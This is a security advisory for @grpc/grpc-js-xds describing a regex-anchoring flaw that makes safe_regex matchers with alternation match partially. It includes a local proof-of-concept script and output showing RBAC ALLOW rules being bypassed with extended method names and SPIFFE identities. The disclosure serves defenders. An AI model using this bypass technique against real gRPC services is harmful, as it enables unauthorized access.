GHSA-r7hq-q2xm-6c5m

Suggest an improvement
Source
https://github.com/advisories/GHSA-r7hq-q2xm-6c5m
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r7hq-q2xm-6c5m/GHSA-r7hq-q2xm-6c5m.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-r7hq-q2xm-6c5m
Aliases
  • CVE-2026-126367
Published
2026-11-12T23:21:57Z
Modified
2026-11-12T23:30:03Z
Severity
  • 4.8 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N CVSS Calculator
Summary
@grpc/grpc-js: safe_regex incorrectly applies partial string matching for patterns with alternation
Details

Summary

The StringMatcher/PathMatcher for safe_regex builds its RE2 as ^${regex}$ with no surrounding group. Because alternation has the lowest precedence, a pattern "a|b|c" compiles to /^a|b|c$/ -- "starts with a" OR "contains b" OR "ends with c" instead of a full match of the whole value. Configurations with safe_regex matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC.

Details

src/matcher.ts: SafeRegexValueMatcher and PathSafeRegexValueMatcher both do

this.targetRegexImpl = new RE2(`^${targetRegex}$`, 'u');

and apply() returns targetRegexImpl.test(value). With a top-level alternation the anchors bind only to the first/last branch.

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L59

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L232

src/route.ts (getPredicateForStringMatcher / getPredicateForHeaderMatcher) builds these for every safe_regex StringMatcher/HeaderMatcher, and src/rbac.ts uses them for RBAC url_path permissions/principals, authenticated.principal_name (mTLS SAN/CN), requested_server_name and header rules. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe).

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L28

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L47

Proof of concept

In a scratch directory:

npm init -y
npm i @grpc/grpc-js-xds@1.14.1 @grpc/grpc-js
node poc.cjs

poc.cjs calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network:

const { parseConfig } = require('@grpc/grpc-js-xds/build/src/rbac.js')
const { SafeRegexValueMatcher } = require('@grpc/grpc-js-xds/build/src/matcher.js')
const { Metadata } = require('@grpc/grpc-js')

console.log(new SafeRegexValueMatcher('admin|editor').toString()) // SafeRegex(/^admin|editor$/u)

const sr = regex => ({ match_pattern: 'safe_regex', safe_regex: { regex } })
const info = urlPath => ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null,
  destinationIp: '10.0.0.1', destinationPort: 443, sourceIp: '10.0.0.2' })
const g = parseConfig({ action: 'ALLOW', policies: { p: {
  permissions: [{ rule: 'url_path', url_path: { path: sr('/acme.Users/GetUser|/acme.Users/ListUsers') } }],
  principals: [{ identifier: 'any', any: true }] } } })

console.log('GetUser       ', g.apply(info('/acme.Users/GetUser')))       // true  (intended)
console.log('DeleteUser    ', g.apply(info('/acme.Users/DeleteUser')))    // false (control)
console.log('GetUserSecrets', g.apply(info('/acme.Users/GetUserSecrets'))) // true <-- BYPASS

Observed (grpc-js-xds 1.14.1, grpc-js 1.14.6):

matcher "admin|editor" -> SafeRegex(/^admin|editor$/u);
    apply("administrator")=true, apply("not-an-editor")=true
ALLOW url_path /acme.Users/GetUser|/acme.Users/ListUsers:
    /acme.Users/GetUser         -> ALLOWED (intended)
    /acme.Users/DeleteUser      -> denied  (control)
    /acme.Users/GetUserSecrets  -> ALLOWED <-- bypass (policy intends deny)
control, same regex as (?:...|...): /acme.Users/GetUserSecrets -> denied
ALLOW authenticated principal_name spiffe://prod/ns/web/sa/frontend|...ops/sa/admin:
    spiffe://prod/ns/web/sa/frontend-batch -> ALLOWED <-- bypass

Impact

Users of @grpc/grpc-js-xds who are using safe_regex matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.

Database specific
{
    "cwe_ids": [
        "CWE-625",
        "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-12T23:21:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
}
References

Affected packages

npm / @grpc/grpc-js-xds

Package

Name
@grpc/grpc-js-xds
View open source insights on deps.dev
Purl
pkg:npm/%40grpc/grpc-js-xds

Affected ranges

Type
SEMVER
Events
Introduced
1.14.0
Fixed
1.14.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r7hq-q2xm-6c5m/GHSA-r7hq-q2xm-6c5m.json"

npm / @grpc/grpc-js-xds

Package

Name
@grpc/grpc-js-xds
View open source insights on deps.dev
Purl
pkg:npm/%40grpc/grpc-js-xds

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.13.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r7hq-q2xm-6c5m/GHSA-r7hq-q2xm-6c5m.json"